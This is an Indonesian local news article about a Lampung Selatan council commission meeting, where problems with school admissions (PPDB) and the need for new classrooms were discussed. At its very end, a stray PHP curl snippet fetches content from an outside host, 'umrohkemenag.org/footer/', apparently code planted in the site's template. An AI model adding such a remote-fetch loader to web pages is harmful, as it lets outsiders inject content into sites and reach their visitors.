PPDB Menjadi Topik Dalam Rapat Pembahasan Ranperda Perubahan APBD Lamsel 2024 Tingkat Komisi

Selasa, 24 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lampung Selatan,Jejakkasus.Info

Sistem Penerimaan Peserta Didik Baru (PPDB) atau seleksi masuk sekolah baru adalah serangkaian proses yang harus ditempuh oleh calon peserta didik (CPD) untuk dapat diterima di sekolah yang diinginkan.

Sistem ini diadakan karena keterbatasan kuota yang tersedia di setiap sekolah dengan menggunakan 3 sistem selain jalur prestasi, yaitu jalur zonasi, jalur usia, dan jalur afirmasi.

Meski sudah diterapkan sejak tahun 2017, PPDB nonprestasi masih memunculkan permasalahan. Ini perlu adanya pengkajian ulang agar tidak menimbulkan polemik bagi para siswa maupun orang tua siswa.

Hal tersebut disampaikan anggota komisi III DPRD Lampung Selatan, Jenggis Khan Haikal, pada saat pembahasan Ranperda Perubahan APBD tahun anggaran 2024 tingkat Komisi bersama dinas Pendidikan Lampung Selatan, Rabu, (7/8/2024).

Rapat pembahasan Ranperda Perubahan APBD tahun anggaran 2024 yang dipusatkan di ruang komisi III DPRD setempat itu dipimpin langsung oleh Ketua komisi Rosdiana didampingi Wakil Ketua dan sekertaris dihadiri seluruh anggotanya.

Menurutnya Legeslatif dari Fraksi Demokrat itu. Sistem yang berorientasi pada pemerataan pendidikan dan peniadaan favoritisme sekolah ini dianggap justru menciptakan masalah-masalah baru.

“Saya berharap Dinas Pendidikan dan pihak terkait, Mendikbud untuk mencari solusi agar tidak selalu timbul masalah disaat Penerimaan Peserta Didik Baru” ujar politisi partai yang berlambang bintang mercy itu.

Menanggapi hal tersebut Kepala Dinas Pendidikan (Kadisdik) Lampung Selatan, Asep Jamhur menjelaskan.

“Ada empat kriteria penerimaan calon peserta didik baru yakni zonasi, afirmasi, pindah orang tua dan prestasi,” terangnya.

“Selain itu, dilihat juga jumlah calon pesertanya. Contohnya, berapa kuota yang disediakan oleh sekolah dan berapa banyak yang mendaftar di sana,” katanya.

Untuk itu perlu adanya penambahan ruang kelas belajar baru agar dapat menampung Peserta Didik Baru. Dengan adanya penambahan ruang kelas belajar akan dapat menampung peserta didik baru yang sangat antusias.

“Karena biasanya peserta didik baru lebih banyak ketimbang peserta didik baru yang mendaftar sehingga menjadikan kelebihan kuota. Nah ini yang sering membuat permasalahan dalam sistem PPDB” ucapnya.

“Kami berharap para anggota dewan dapat memperjuangkan apa yang menjadi keinginan kami, untuk penambahan ruang kelas belajar ataupun pembangunan gedung baru untuk memecahkan persoalan PPDB yang sering menjadi polemik di masyarakat” imbuhnya. (Red)

Penulis : Joe

Editor : Bambang hartono

Sumber Berita : DPRD Lampung Selatan

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka
Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional
Mobil Dinas Belum Dikembalikan, DPRD Kejar Pengembalian Aset
Bawaslu Pesawaran Tetapkan Kasus Camat Negeri Katon Pidana Pemilu
Nanang Ermanto : Kami tak Gentar Diserbu Minyak Goreng
Bawaslu Lampung Selatan Gelar Sosialisasi Pengawasan partisipatif kepada Media pada Pemilu Gubernur dan wakil Gubernur Serta Bupati dan Wakil Bupati
Terkait Perusakan APK Adilah, Pengamat Politik Candrawansyah: Perusakan APK Adalah Pidana

Berita Terkait

Jumat, 11 Oktober 2024 - 10:52 WIB

Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni

Kamis, 10 Oktober 2024 - 19:58 WIB

Musrenbang 2025 Pekon Wayngison Resmi Dibuka

Kamis, 10 Oktober 2024 - 19:22 WIB

Selamat, Desa Bumi Daya Kecamatan Palas Raih Juara 3 Lomba Desa Tingkat Nasional

Kamis, 10 Oktober 2024 - 19:21 WIB

Mobil Dinas Belum Dikembalikan, DPRD Kejar Pengembalian Aset

Kamis, 10 Oktober 2024 - 18:07 WIB

Bawaslu Pesawaran Tetapkan Kasus Camat Negeri Katon Pidana Pemilu

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>